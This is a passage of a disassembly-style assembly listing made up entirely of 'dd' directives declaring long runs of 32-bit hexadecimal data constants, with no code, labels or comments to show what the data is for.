		dd 0CFE67B62h, 51C08402h, 461B69B5h, 91AD2DF4h,	1886E810h
		dd 9F9CDC00h, 0ED5B8E5Ah, 0FB5701ACh, 730CD3D9h, 0E148308Dh
		dd 48745CA9h, 0E988D7BCh, 4BFD0015h, 0D4B7CD65h, 0E0B983AAh
		dd 8E69C42h, 84A71090h,	0EB493579h, 89C608E8h, 1E512300h
		dd 6CA6EE72h, 45E116D8h, 26FC0510h, 806CD4EDh, 0BE56B310h
		dd 3DA8F25h, 37618Ch, 1C593D51h, 19348D35h, 0B1DF0E00h
		dd 0F9597A7h, 2DF20ED5h, 7600DD96h, 52C9468Dh, 0AF004B98h
		dd 5DE2B706h, 0CD68E1h,	62CF6E31h, 0BAD48328h, 0D6231400h
		dd 1C615EEFh, 0C4E9554Dh, 0F580B06Ch, 0F07BD498h, 0F6487E14h
		dd 3CEE2C9Bh, 453D8A08h, 90A7D7h, 6AE5E39Ch, 48FEE091h
		dd 1F090781h, 4848EA6Eh, 321DB47Fh, 5030345h, 0F840DE41h
		dd 0D0CB26h, 6CE1AC57h,	5AAB9982h, 202F4426h, 982C9025h
		dd 27A30388h, 0F628DD54h, 1856F5BBh, 179300A0h,	0BBE15EA7h
		dd 0C210362h, 0BD2796DBh, 9FDC2888h, 0CE52B718h, 4A644208h
		dd 376C201Ch, 7A052B62h, 0CEA9869Dh, 0A6C96491h, 618A2508h
		dd 0F315CC98h, 4BE20084h, 72B77B3h, 8D840B67h, 0D8420466h
		dd 3CA98471h, 62F9A480h, 16512758h, 964FD6Dh, 6470DD80h
		dd 0A1701D25h, 8E725168h, 4F71E833h, 97EC047Ah,	0FA7E2184h
		dd 12208611h, 1E4CD960h, 3973C035h, 79B6F38Ah, 0F082A700h
		dd 0FAC2CE93h, 25F67B77h, 2B9E30h, 88A9F823h, 0C068E8ECh
		dd 0E76DEBADh, 72230335h, 969B0180h, 0E6CEFAC0h, 0CC7FD62Ch
		dd 1C68D70h, 8FAFD9F6h,	234E879Bh, 4BEB2228h, 49C480E6h
		dd 989048F1h, 96F9F620h, 33A34010h, 0A2026B78h,	387F90B8h
		dd 2C045907h, 0E3DE1394h, 105C48F0h, 5F8CA979h,	4D0244E1h
		dd 0DE4708BAh, 31E4904Fh, 80F154A8h, 85D9296Ch,	5D3F44E4h
		dd 7A8441C1h, 0A091A94Ah, 0E1D6002Ah, 8915DC9h,	88510240h
		dd 9075F7D9h, 7C67E098h, 5C441C28h, 525C5A0Bh, 61681973h
		dd 0AB435308h, 0AD092F22h, 38A48BF2h, 57C528Ch,	7A1C5A46h
		dd 5CECB4E9h, 1C709E5Fh, 0B4DB77h, 0E6E923D7h, 6EFFB225h
		dd 0F52BD09h, 0C6A440FDh, 0C06382F7h, 0BCE0DBC2h, 6638461Ah
		dd 41F08907h, 0D0F19Dh,	0C0BF0E1Ch, 0A82E44E9h,	87885C4Dh
		dd 59974484h, 0CE1334C8h, 0C286A3B8h, 69009B98h, 39B96E48h
		dd 4ED21A7h, 41670979h,	80ECF83Bh, 6983BD7Fh, 70ED01BBh
		dd 0DAAE43C7h, 1705EC0Dh, 70B8DC98h, 22A43D22h,	5112F858h
		dd 6C888F73h, 0CE7B248Eh, 0C88B10A4h, 1844A8AFh, 49C3BD86h
		dd 5491A65Ah, 9422A192h, 3C72F7h, 9766F143h, 4E2F08Fh
		dd 0E2D6503h, 883BF2F3h, 3C7A7DCh, 1F4F6648h, 92599F0h
		dd 3E4446Dh, 7D7E081h, 9821D6B4h, 5B391AFh, 0D382F76Ch
		dd 14218A4h, 1566698Ah,	20466D7Ch, 174E2E9Ch, 789C300Ah
		dd 0BE3FC401h, 3AD0ABDBh, 60700912h, 0DE001F03h, 0D478FC83h
		dd 9AF4670Ch, 3F531040h, 1859E277h, 86B39444h, 0B006BC20h
		dd 17024438h, 128CDB48h, 4004D31Ah, 1CC8FE18h, 617883h
		dd 9E8FC833h, 3D80EB82h, 0E1E690F6h, 427EA221h,	0E0411A55h
		dd 0B9280C75h, 4C07003Ch, 11A2190Eh, 3C00467Dh,	5AA063EFh
		dd 94235360h, 44443D40h, 7EF49097h, 1BF0093h, 851C4C47h
		dd 5A728808h, 917F7502h, 4570D7EAh, 4CC42514h, 2720AB1Eh
		dd 64086813h, 8A2E646Eh, 0AD120FB4h, 5D772322h,	15429084h
		dd 4BA30021h, 6309884Fh, 59C7A8FFh, 41C09557h, 79D1F0C0h
		dd 8E82007Ah, 272C98C5h, 0AC0104D6h, 1FDC7D06h,	0FC452DCBh
		dd 20106CA0h, 6678203Ch, 0C1F63105h, 0B4A28EA5h, 4E77D494h
		dd 0B8B8C8BFh, 8837A800h, 0DDB3517h, 2F540163h,	4C5BE083h
		dd 9FE4247Bh, 9B14286h,	6867305Eh, 2C34CB8h, 4AC84660h
		dd 0F0DC8D86h, 820B7022h, 80E0B681h, 0A00884B4h, 1824007Fh
		dd 0F1C54E39h, 523DAE6Eh, 412A48Eh, 0C667A562h,	595D00B4h
		dd 3F99A8BCh, 3D139E12h, 1CC84F52h, 2F018547h, 3B6D7F27h
		dd 0C19F6C0h, 0CB632491h, 0E6386C38h, 8CAA0294h, 74CFB665h
		dd 0DA330A0Ch, 3AE5629Ch, 0D200FC79h, 5C147FFh,	12410481h
		dd 0C06C32E3h, 0B8F62017h, 385DF726h, 0ECC05544h, 8934A5AAh
		dd 4550085Bh, 805438C2h, 97EFB15Ah, 4370133Bh, 756404DBh
		dd 6BD803BCh, 0C546FB1Dh, 1FDE8C0h, 362702E6h, 0FE5E56F0h
		dd 0A1852854h, 7D84DD11h, 949044A8h, 79913B21h,	44663114h
		dd 0AD102C48h, 4A7080E6h, 0CA8E5E77h, 85E80188h, 0A7FF6F1Dh
		dd 667D00ECh, 44EADF9Dh, 0E6EF00D2h, 80F49C8Bh,	8E05938Fh
		dd 1C7EE538h, 66B5EC31h, 64512050h, 134B0F4h, 2D42C26Fh
		dd 70B701E6h, 5538D597h, 85B0895Eh, 20E4C4E3h, 0F0B4FA61h
		dd 725B0049h, 13F2B3ADh, 53613252h, 0BCA44A1Ch,	9EC950B8h
		dd 5AB1E097h, 83D60479h, 0A8C288BEh, 0E74384D8h, 49DC9F44h
		dd 5484E8F7h, 1E720589h, 0C0654713h, 5AA130A9h,	0C80BDC24h
		dd 0A0E427h, 7D481A40h,	4132DE52h, 0CEFC7C07h, 6AF48F50h
		dd 744834E7h, 0F1C4D33Eh
		dd 0FBE0D750h, 89166E42h, 0BE909CE6h, 0D4FCA1F2h, 5634B703h
		dd 0FEB60EC4h, 723B3B04h, 46836AEh, 223C6EF7h, 431D2226h
		dd 2C7CA492h, 0A21C59C0h, 92A94B1Dh, 0F7220E14h, 1028F98Bh
		dd 63558256h, 242C44FEh, 48F3F9h, 5C4D020Dh, 15390586h
		dd 69540258h, 6859268Eh, 9A4E2C64h, 408055DCh, 66C02872h
		dd 72B8238Dh, 0C0263CB8h, 0AB90545Dh, 11D8E9DFh, 260D01C9h
		dd 577AC7Dh, 5EC0F6C4h,	0E380411h, 21C05D3h, 45F70CEh
		dd 22A96D84h, 6CE62B81h, 80001EF8h, 0B010F46Ch,	17B8869Eh
		dd 83421BEh, 44A706A8h,	0F4A52EA8h, 850D00D5h, 60980739h
		dd 937D9700h, 0EFED3469h, 0C8524A31h, 18C7994h,	1B9E1C7Fh
		dd 0C08302A8h, 2D003DF7h, 5AC700Dh, 341FB2Eh, 6411664Ah
		dd 0A8B0A050h, 0F90368E5h, 0EED23545h, 6D2FB0F8h, 69DB0551h
		dd 4443B2B6h, 2283D3A4h, 112C597Ah, 65227C3Ah, 47F75AA8h
		dd 0B0C2282Ch, 92046D95h, 0EC1AC407h, 8C903D97h, 5A785AABh
		dd 880C043Ah, 0F0D84AE9h, 563E9F3Eh, 0DA04C3DCh, 0FF808339h
		dd 42B9365h, 1C7AB6F0h,	80BCB25Bh, 5E9B3EBDh, 970A09D4h
		dd 0F87AEBA7h, 1519E300h, 2170801Dh, 6B2600CFh,	0E11F40B8h
		dd 0C2118799h, 0FD2DFA3Dh, 0A652E098h, 4CD9F788h, 880549B5h
		dd 0B2030FFAh, 15C8C8CCh, 8978288Eh, 0F392015Eh, 2C75DA10h
		dd 9C88904Bh, 0C1EA1D20h, 6880AD9Ah, 0D10A6B0Fh, 9E480A0h
		dd 0B64DD705h, 0A4CC7AB7h, 84A33C6Dh, 9C81FF0Fh, 0FC4BA060h
		dd 0B2143F0Ah, 21E02A8Eh, 4E6A91BFh, 46D8C820h,	9B380B26h
		dd 0D882D69Dh, 0EB05F9BAh, 0EA54F4h, 0B7C65AACh, 48E0F7D8h
		dd 40254EF6h, 22B89439h, 60000C4Ch, 1F020E45h, 79B4998Dh
		dd 618E2566h, 45BDF821h, 0D4DCE997h, 0AF03A2CDh, 6CD90441h
		dd 646DA11Ah, 12C9ECE4h, 9158F401h, 2286F7ACh, 2C0E6018h
		dd 26CDE70Fh, 611482F6h, 0A59685B1h, 0F09C19C9h, 3C116060h
		dd 40E4FBB9h, 3888220Ch, 2084ED16h, 0DD2DF939h,	9D889184h
		dd 0F884850Ch, 2CD491A1h, 0ECDB018Ch, 2C3D6F9Eh, 720B14C8h
		dd 100324C8h, 0F713DC11h, 4428928Ch, 98A81055h,	8BA50029h
		dd 605F0887h, 0F01F422Ch, 0E4891796h, 8A6890F4h, 1EEE1C52h
		dd 774B0C5Dh, 6700F8AAh, 5AAA18D9h, 482F2D2Eh, 80DC38CDh
		dd 50A42CEAh, 0AD6217FEh, 2B364EC9h, 95E0741Bh,	0AD005201h
		dd 797A5062h, 2A9E76h, 0DD27B402h, 28C77B45h, 0E8F65325h
		dd 5B9788h, 8A15DF2h, 0B78D404Dh, 0FA802100h, 71A78B8Fh
		dd 0F5D22C56h, 2422BC68h, 0E7738211h, 0F400896Eh, 4C341DA4h
		dd 1F25FCB0h, 22D0BB72h, 64F81EB8h, 0C828A445h,	2A894C80h
		dd 8E00F581h, 0DA6987E8h, 40E2F35h, 0F10A86FDh,	90F268h
		dd 3C487DCh, 0B5E8Ch, 5F8F8E09h, 0EA30559Bh, 12741DEEh
		dd 5CE13B20h, 800FCDBh,	11784C76h, 4E1F7089h, 31C1666Bh
		dd 0B986E13Dh, 65E5F0h,	0EC22D1C7h, 6DDA0B37h, 0E402797Ch
		dd 1C42078Dh, 46BCC659h, 20713ADh, 80390C3h, 0CD208521h
		dd 48D0FF12h, 20D46DC2h, 2A21A1BFh, 2F453F3Bh, 0FCD98038h
		dd 864A037Ch, 0A24578F4h, 9F1E49E0h, 0D491BC00h, 65AE7467h
		dd 7B4E001Bh, 0D060CBE7h, 605CE0Ah, 0F6EF8F63h,	209284FAh
		dd 37D1FBB8h, 4421D507h, 28D030D0h, 0F5C59Ch, 0DB94878h
		dd 0C76D461Ch, 8413C079h, 0D820E888h, 3F8219DEh, 7A007C0Eh
		dd 0F0CB4C6Ch, 8B789F21h, 92B21617h, 24BFFC81h,	60884A08h
		dd 0D7EC03A0h, 828965AFh, 3C6CB026h, 4201AB60h,	121300CFh
		dd 0BC4FA51Ah, 0FE07474Bh, 393195Ch, 0C4604202h, 0A5A2002Ch
		dd 310848C7h, 6209267Bh, 48AB9FFEh, 8BE88C94h, 1CDA95E8h
		dd 0E443F425h, 1020B440h, 885ECBF5h, 0AEC0DC18h, 2F3F841h
		dd 67864C36h, 4603157h,	0A59F60C8h, 0D40FFFD4h,	0DAC0FEA9h
		dd 3908ABF1h, 0C01401BCh, 0C3EBD83Fh, 47589FF6h, 0D6699D41h
		dd 852BE4BBh, 3194877Ch, 30637328h, 41143CCCh, 8B545E1Ch
		dd 8248037h, 0FA1F83h, 2BB6003h, 0CFA42F7Ah, 0D0969713h
		dd 7400FCE2h, 3F9462E9h, 0C001B248h, 0AF2DD180h, 71F8D5A9h
		dd 4083BF70h, 75C0F02Fh, 8400F894h, 25D98331h, 580C32D2h
		dd 0CE256858h, 7628A410h, 7B068001h, 38810799h,	12CB21D8h
		dd 220C87F6h, 8920BF78h, 3E995h, 16EF72D0h, 0BE60A841h
		dd 0A3928704h, 0CA16DC26h, 46650010h, 4A242237h, 9567001Dh
		dd 0BAEDBCADh, 5C00F907h, 0E6EAA5F6h, 60D9CDh, 0F14B8FDBh
		dd 8329C548h, 8AB94A00h, 0D86A5C55h, 0F85FE70h,	8D1815F4h
		dd 301DEBA0h, 43000561h, 62428CD5h, 17BC3EEh, 7A145802h
		dd 3A04A93Dh, 57BE0020h, 3AD67B99h, 41728025h, 1AA879BAh
		dd 0F98879C2h, 35FF0038h, 583198B1h, 1701F477h,	550C1478h
		dd 81452FEEh, 21627830h, 96E695h, 0C773684Fh, 0B7F25502h
		dd 0B3373A2Ch, 0D8011F01h, 3C600C80h, 4462EF87h, 83524200h
		dd 75D9D1B3h, 84407F4Fh, 0A815F991h, 0E3B5FB0h,	0E9ABB960h
		dd 7E31060h, 0DA8CEE1Fh, 66002C24h, 0AB4E76FCh,	0C8790091h
		dd 380EAE6Ah, 7818C5E7h, 67116810h, 29776214h, 78D93051h
		dd 4E4C10AFh, 38070085h, 0CEC5524Dh, 566913B7h,	0ADB08768h
		dd 0A2A39FE0h, 57D5098Bh, 40645EAAh, 0A74CAF00h, 0CC2D0E65h
		dd 9949009Eh, 0ABBBECE8h, 0EF338C78h, 0C06F2845h, 1EBF2183h
		dd 14D103DCh, 85E08C3h,	0E0AFCC98h, 2427E5CCh, 0C3A81D24h
		dd 88F29A3Dh, 389180DEh, 8F9F3112h, 5BB203E4h, 3DB75230h
		dd 0DD94C421h, 630CC8FDh, 9019A9FEh, 0E3E93500h, 7C5866ABh
		dd 0A25E00FDh, 4D680534h, 5170AE1Eh, 6FEFAEB8h,	0C1461822h
		dd 8C72B232h, 5BBE9E11h, 0CD38C8h, 1820A524h, 1EABFD12h
		dd 22F495Ch, 0B745868Fh, 0E020E4F2h, 526D3F03h,	0A5769509h
		dd 59C37C56h, 50E9B8AEh, 8F1B0180h, 986DAFD5h, 0CBD830EBh
		dd 0D4F40600h, 5030C6C1h, 423C9EBCh, 9420E88Ah,	1266D92Ch
		dd 0A205A08Ch, 0E6CE00ACh, 55847CF8h, 0A3000B3h, 7149AC42h
		dd 0EB2FD98Eh, 7BEC2072h, 3DE379h, 0AA6251B0h, 0F1BC6852h
		dd 60E6DA02h, 71F9551Ch, 47443D74h, 744EDE28h, 81DFF080h
		dd 0CE465A00h, 716930B2h, 0C0A49407h, 2D3958ADh, 85C72304h
		dd 0E48D49F3h, 7070882Eh, 7C958201h, 4F52C91h, 3F69FE0h
		dd 0CA812834h, 0C2F898CEh, 0E42D0AA0h, 1DE4112Ah, 4F18C468h
		dd 0A3EEC98Ch, 0F4DAF024h, 0F383EA60h, 5CEB00F1h, 8A109E7Ch
		dd 2F244493h, 40047027h, 0C80C62Ch, 4577DDE0h, 80587833h
		dd 0F2930C16h, 0AC600FAh, 0F926DBB3h, 649165ADh, 0F1CBF70Ch
		dd 0D87EFBh, 0B2F03FA5h, 0EDE1B67Eh, 1B878101h,	27E05A9Eh
		dd 48BCC0A0h, 0C3C00CCFh, 0DC357376h, 780CD009h, 0F53C8495h
		dd 24FAEB0Bh, 9E04B8B5h, 7811B7FAh, 0D8F0508Fh,	0FE001F69h
		dd 8BAF2035h, 0A267DEh,	0E06D3818h, 0C472A683h,	0DCC16212h
		dd 0F8F8C034h, 0FAF1009Dh, 0AA55D873h, 4392B100h, 19D1F635h
		dd 4BEF0074h, 42833EF5h, 2B2E44B9h, 7031530h, 0A0C559F0h
		dd 0AA19B43h, 4ADDF264h, 0ACB358A8h, 6355ED00h,	0F8BD943Ch
		dd 4E4D0727h, 433DA0F1h, 0C191C53Eh, 0E6118EEFh, 0B1B4BC4h
		dd 0E82CF2FAh, 24100006h, 0A3AC2BE2h, 0CA044404h, 65313B78h
		dd 8C4A24CCh, 8AF62212h, 66441090h, 0C4830132h,	0F34D4A8Ch
		dd 0C2AC3C8Fh, 0D0A0F803h, 0EA552F3Ch, 7B5324E9h, 763ADB0h
		dd 6DAE6C2Ch, 983CF4B3h
		dd 8A001204h, 0BCF0C853h, 71C1DB9h, 0AFAA3893h,	0EDDA3530h
		dd 7E8F89E8h, 0F1540828h, 6D8060A9h, 754AB072h,	0A0389878h
		dd 0B8546912h, 3E7F0033h, 4D868C79h, 0BA09F69Eh, 50306FAh
		dd 0CAC63C8h, 833EB98Eh, 0A4310CD9h, 3F4DE5E8h,	101E3EE2h
		dd 7AC06679h, 0D9CF8103h, 0DCA40C2Dh, 17812B85h, 0A58CFE25h
		dd 4C0B8328h, 25D49860h, 1A2F2F71h, 0EF9C8CC0h,	0B0600541h
		dd 25800BDh, 18A13C9Fh,	654C85D8h, 0F7DB828Ch, 0BC1055AFh
		dd 0CC9984DEh, 0D7F0F028h, 0E04EEB2Dh, 440284h,	0D13F497Ch
		dd 0E9E41C04h, 4575D804h, 0AE8A42h, 5A27A934h, 0C00BCB8Eh
		dd 10A55BF6h, 0AC21B48h, 11EBD816h, 0B34D0538h,	3580CC22h
		dd 1C1FCE58h, 0D400A759h, 0E02E6F8Fh, 783A7A79h, 0F830BDCh
		dd 80F57D2h, 0EF8280F4h, 90557ABFh, 7E82308h, 0F765499Dh
		dd 61B4C114h, 7C42904h,	832EE495h, 630B32C1h, 0C84AC036h
		dd 0F50278E8h, 99942EB6h, 59104891h, 8C558898h,	88A630B1h
		dd 2C4A0908h, 0D51188h,	6443DE73h, 5D1E966h, 818F768h
		dd 0ADF405BDh, 0A320139Dh, 1EB3C04h, 16E1B44Eh,	9EF45565h
		dd 95C990Ah, 0A01983F7h, 0D890DEDEh, 8E00A9ADh,	6008DA34h
		dd 6653F8h, 224BBFF9h, 2FF3A1D8h, 8249B809h, 0EB4882A9h
		dd 330B223Eh, 8E758340h, 23192901h, 474331B9h, 4B790826h
		dd 603C8D52h, 7200E5A0h, 0A17F9D25h, 270838EEh,	0C601215Fh
		dd 0E08324CAh, 70032662h, 47137859h, 0B1A9D0E6h, 211F0758h
		dd 0B57A8BF0h, 325888F5h, 28F456E4h, 700A0900h,	498EA85Fh
		dd 1C5E3CE8h, 0F73CD05Eh, 8F1DEAD9h, 4193A753h,	9B885088h
		dd 0FFEF0020h, 83F6CDE3h, 0C742E8B4h, 3092754Ch, 0A0622FC2h
		dd 6C40747Eh, 16BFD8E0h, 318CF784h, 283F7FC0h, 450F79B4h
		dd 3CB3DAh, 0FF43C5A8h,	0A9580A19h, 3E24FE5Dh, 0F64B2C00h
		dd 0BF0E920Dh, 614E1F00h, 87EA3AF0h, 0F2BE2D79h, 649478ECh
		dd 9ABFDC40h, 0F43907A8h, 0C0AE0892h, 0A1A23BA9h, 35685A12h
		dd 8080B8BDh, 932C64B4h, 921B0F01h, 5AAB2949h, 58E5BFE8h
		dd 3E1098F6h, 84DD16E8h, 847C24E2h, 0A5E1C409h,	8B208158h
		dd 4874B91Ah, 7CB08444h, 107E8D00h, 63583962h, 0DBA83082h
		dd 7AC6FF1h, 228959C1h,	812A3AB9h, 2FEA516Ch, 67E09040h
		dd 9D3DAD6Ah, 42AA8B80h, 1CBAA622h, 1FAF0A44h, 826FF3C2h
		dd 32921A11h, 10404C74h, 0EEB074h, 96615DCEh, 0D4F207BBh
		dd 72844109h, 0F6646108h, 8C30E710h, 2E3370EFh,	0E900B177h
		dd 3317D4Eh, 0A029EA23h, 0B4934Ch, 0F9EEA0AFh, 30026F6Eh
		dd 967F010Ch, 125778D3h, 2442405h, 624BDB9Ch, 35838C76h
		dd 956FC58Bh, 0FD858020h, 0E4F71D8h, 3F8190F3h,	0A106C80h
		dd 5DFB14A1h, 807C63C8h, 7F07438h, 0A2B14AEEh, 6E957A58h
		dd 0E06725F4h, 1F11D859h, 6C120858h, 2528F834h,	50E4E7h
		dd 2EE6DF55h, 3F74FE79h, 0A7358400h, 43FA11B7h,	8E65024Fh
		dd 3DC1AE4Dh, 80C00477h, 66D3B881h, 0C8B601CCh,	0E0AD0AB0h
		dd 0FE8627E8h, 628109E8h, 0CC7C4237h, 0FF34B1E9h, 7C00C062h
		dd 0B6E13180h, 6673738Bh, 0ECADA600h, 397B0582h, 214A0407h
		dd 0C089DA6Ah, 2C50CC60h, 0A37EAB15h, 0B4E119Ch, 0A7663113h
		dd 96A6108Ch, 0EDA28485h, 0F070110Ch, 0CA4F1848h, 0D17A0000h
		dd 7D6F3F99h, 6030007Bh, 5AAAE0B0h, 0BC900480h,	47FF5E05h
		dd 0D8E9F05Ch, 0ECDF8303h, 0D9853D2h, 9C00ED57h, 0A63DD98Fh
		dd 957684DCh, 0C39ED422h, 979DD21h, 0EF22C423h,	0F89664A0h
		dd 1B04A805h, 34175BD0h, 0A7D8C8h, 0CF9A7BE9h, 0A89B5944h
		dd 21BB4700h, 84567DE2h, 0D1E54BBEh, 3AF83A70h,	32BAD070h
		dd 3CEB009Fh, 92B48D2Ch, 0C6001B77h, 5264B7D5h,	0E6583862h
		dd 0F0934882h, 0FA62ABC8h, 0C12A04B8h, 2B366314h, 7CB7E080h
		dd 0A03D117Eh, 0A98BC0DBh, 897A93h, 156770DAh, 571C7BEDh
		dd 76893099h, 0B748908Dh, 1C612756h, 55009044h,	3D753476h
		dd 982D97h, 4ECF83E7h, 565E5FDBh, 1E605C04h, 0A48C3BF5h
		dd 19E51F8Dh, 0FE7D00F3h, 82721591h, 34A07575h,	5D08B5EFh
		dd 80CBF847h, 7602D30Fh, 0C6010A7Fh, 3EA7E086h,	2C50A473h
		dd 59DE01h, 3F4CF79h, 0F785055Ch, 149E6324h, 0AE5302C1h
		dd 4F38D22Bh, 9F465846h, 0C964C910h, 1C7306h, 1D25E6D9h
		dd 81274DF3h, 7B6CE4AFh, 0DAC5000Ch, 0A246128Fh, 42047FFCh
		dd 0DCE76B4Bh, 37411D05h, 0F1A3C4A0h, 0A4802ED8h, 70EF811Ch
		dd 62D6EC54h, 3986A9FCh, 0C8666020h, 30BE0AB1h,	1F606292h
		dd 45740017h, 0C52B09DBh, 0CE467B1Eh, 5C5A4E52h, 2FA86EE0h
		dd 14CCC192h, 0D3745848h, 5563404h, 5AC1855Ch, 987440CAh
		dd 0EA0304F9h, 11522701h, 0C162249Fh, 24E044E2h, 4779EBh
		dd 0BDE76869h, 2C0047C2h, 0F3E4BA34h, 91584678h, 0C31B9E8Ch
		dd 667BA688h, 8C7405B2h, 0C1B379E0h, 0E86700D8h, 45232B72h
		dd 0EC0E663Ch, 924BCA3h, 825C5CC2h, 38D606C7h, 30DAC70h
		dd 48048375h, 27DDFC24h, 10D12D4Ch, 75C37980h, 0A14B5F76h
		dd 803C149Ch, 49AB6484h, 42BC7CDDh, 7D2520EBh, 17CAE0h
		dd 0C1353097h, 0AD864CCAh, 28FB0D2Eh, 7C48CD91h, 9104416Ah
		dd 0F3070FF9h, 0E6F68945h, 4CF00B30h, 0A000143Ah, 1C32A818h
		dd 4A34035Ch, 0CB488820h, 0FA950083h, 0A3328A38h, 1200BD46h
		dd 33DBB192h, 4F83B09Bh, 0DD88C8DAh, 0AD5D58h, 2023619Fh
		dd 0A8F7032h, 4B901A51h, 444699Ch, 4065BD0Bh, 0E0C8517Eh
		dd 0AB3025C8h, 0D034D94Fh, 65366407h, 5D8040DAh, 2EA545BEh
		dd 40150460h, 952C0AA0h, 86388CD0h, 39D4D007h, 9691291Dh
		dd 203AF415h, 0F6CE5E94h, 21AC4353h, 805B9082h,	0B4B9BF35h
		dd 67271617h, 1BA600FAh, 68DE5F8Ch, 2BBD1A00h, 8B3FB948h
		dd 875701D7h, 0F79443FFh, 0A29C7C89h, 0E531C0CFh, 0C3B93171h
		dd 10D3B1E9h, 0B88A0E1Dh, 0A60700C4h, 7976F632h, 0A101FE0Dh
		dd 1CE65402h, 0C3D374Ah, 0F8F24Eh, 0A9524FB7h, 0F4E55h
		dd 0DEEF0992h, 0D685D88Fh, 6898F25Ah, 0D00B0F8Ch, 8E8F5CC7h
		dd 0CD81457h, 9E795E80h, 53168005h, 8CF68BA0h, 3C4DDD09h
		dd 0AA114C59h, 22E8F71Ch, 0F2B9D900h, 0FFE7473Ch, 716300A9h
		dd 10A0D0D4h, 304A6C11h, 0A04A34B2h, 3988E500h,	8AAA0E58h
		dd 5FC9F12Ch, 250780F1h, 0F36E5DE1h, 708468ADh,	845542F9h
		dd 50815FCEh, 705EF5Ah,	945EF854h, 0AF87F0EAh, 0F62D00Ah
		dd 0DF003870h, 30BC13ACh, 0BFFA6C53h, 0B4407030h, 0FD270707h
		dd 0F00ED9Bh, 0E711A9Dh, 24477770h, 9CC54E21h, 74AC2D12h
		dd 4C15D428h, 64C43EF1h, 8F835BBh, 5184F8E8h, 7C880A82h
		dd 249D1357h, 5B84888Dh, 14F86077h, 18818E4Eh, 0B3D1FE17h
		dd 680C851h, 2E676010h,	0A663E702h, 7AEB022Fh, 1D477EB0h
		dd 0C120275Eh, 0A530539h, 7E7431A2h, 0DE1C3C05h, 0DDE7A801h
		dd 5864EB82h, 0CAAB4B31h, 93E707B8h, 602F2EF8h,	3948BA1Ch
		dd 0EA507B88h, 6CB50F66h, 0C454BFCDh, 0BCF0C734h, 64D4C058h
		dd 70D34Ah, 0E213BA18h,	0B2A9DC5Ah, 6768ED1Dh, 8E451A7h
		dd 0E784D1DAh, 20FC3AEAh, 0E9CA9480h, 711F18A9h, 0AD8442CEh
		dd 0B890142Eh, 0F0B94A8Bh, 1F6601DEh, 6E6A5F04h, 515DF0C5h
		dd 0D583CC00h, 260DF103h, 0ABAD0070h, 8B3207B5h, 3B12F37Ch
		dd 0ECB2AA31h, 79EAFA80h, 140021A7h, 0BFAE5244h, 28115DAh
		dd 0C2CF20F8h, 0CFA3423h
		dd 78A6B300h, 3B4BDE2Ch, 9CB09DE4h, 6209E155h, 0DD386A76h
		dd 54A1B980h, 970FF360h, 80E9BD9Ch, 0C899723Eh,	43D50032h
		dd 0AF50DD3Dh, 0F0258A91h, 0DCC42Fh, 11FFB0CAh,	2070D95Eh
		dd 0FBD5C200h, 0F29E999Ch, 0D54045F7h, 0C8282B80h, 96C70099h
		dd 0DAC8EC42h, 0AE00E8CFh, 0B634691Eh, 3EB0E9D4h, 9F0E5347h
		dd 0B293528Fh, 14AE006Ch, 0FC5F7D8Bh, 56F2BEh, 1F6A4964h
		dd 3AC79DF1h, 0A0B71600h, 0D8DC2C9Fh, 38630114h, 0CF7AD96Dh
		dd 0A9B02C8Fh, 272AF0F1h, 0D66D60D8h, 0FC02E3DCh, 0FEBB7ABFh
		dd 0DC915D4Fh, 0F82D01F9h, 0B3809879h, 90AB3C2Eh, 800E9201h
		dd 57133A11h, 1FED8C0h,	0E616D431h, 332F4A14h, 0C122ACh
		dd 2EFBBA70h, 55AE7FC2h, 399F4900h, 271C59CCh, 92D04F72h
		dd 8310E250h, 0F8448840h, 0A3F444h, 0C29F2C74h,	0A8AABF53h
		dd 834AD70Eh, 6F5740EDh, 2CBAB2ECh, 4F606281h, 76E8E9E1h
		dd 7993FCE0h, 903A0B17h, 0CD2A0004h, 0CCCF5A45h, 0AB88E60Ch
		dd 0F4E70F52h, 0C140DAEFh, 6E61D00Ch, 7E334505h, 68B0497Fh
		dd 6474028Dh, 0D8CA4EC3h, 66CC03D5h, 464DA0FFh,	58F718B0h
		dd 765161FAh, 21323827h, 3ADE814Ch, 204036Ah, 89D8BF8h
		dd 94A0E944h, 1C735103h, 103C16Fh, 3FC27249h, 3AAAEB81h
		dd 8C2E08DDh, 0CD00A8F8h, 18F07450h, 14BE37A7h,	0CFAF9053h
		dd 0AAD82C01h, 33F96EF7h, 80704CF0h, 0D94EAD2Eh, 18A12F1h
		dd 735CC075h, 78270E9Eh, 2EB410C2h, 2F418405h, 55005072h
		dd 6E8E5EC5h, 8F00B3C3h, 97471A14h, 91F846AAh, 4080284h
		dd 0BE43D4BBh, 1980A1C0h, 0B74D3A0Ch, 88CC284Ah, 0DF0022EAh
		dd 0FB54B597h, 4BB910Ch, 0C561D7F5h, 60BCE5E5h,	4817F18Bh
		dd 0CCB4626Dh, 10AF0026h, 0FB5F9791h, 30029059h, 0A83E3209h
		dd 0E6A080A4h, 0D6311B3h, 8BF79246h, 80607F76h,	7F6F4FEEh
		dd 51870220h, 147C0DB0h, 1D98240h, 3EB94316h, 842FF428h
		dd 0E18B6678h, 4140377h, 43F85BC0h, 0E267835Eh,	0ACA4C360h
		dd 0A579DD44h, 22082878h, 0AFF725F9h, 225A5411h, 81EE88A8h
		dd 0FDFC80E6h, 6DE07B0Fh, 4F0B63Ch, 8EFF5D4h, 8F34800Ch
		dd 733321F2h, 42BC4101h, 0F4079FF5h, 4496C20h, 3F80461Ah
		dd 0FC0089C1h, 307E6C6h, 7BF854CFh, 28B24144h, 6663132h
		dd 7C1455h, 97593262h, 0E8F96858h, 5EB82C00h, 0D348C74Eh
		dd 0F7CE1175h, 34CB1EC9h, 7CC638C0h, 45EF98Dh, 0B74E0FEh
		dd 1828B232h, 0A131050Dh, 441C9818h, 900023CDh,	96741198h
		dd 4CF62078h, 0B92E4AEh, 8CF3E800h, 0AACABD80h,	280D7D3h
		dd 2D63972h, 15620D0Fh,	0CE0064DAh, 0BF9F1A04h,	0BADEC5B6h
		dd 0BB4826C4h, 9DA400D2h, 33B1A05Eh, 8E72150Ch,	1EFA1F3h
		dd 683F0248h, 2A9C313Dh, 30800C22h, 0FD24A0F8h,	8A16E1E3h
		dd 0D5B358A8h, 3F8B66F0h, 36954907h, 8E63A8h, 4E37F8D1h
		dd 291FE32h, 467B6244h,	0C6AB275h, 0C434837Fh, 0E06482E1h
		dd 22F418F4h, 0F7110158h, 440BE888h, 4462C90h, 0C9840900h
		dd 7A20B778h, 0CA5201EDh, 740BE6ECh, 8151033Ah,	22F3CEA2h
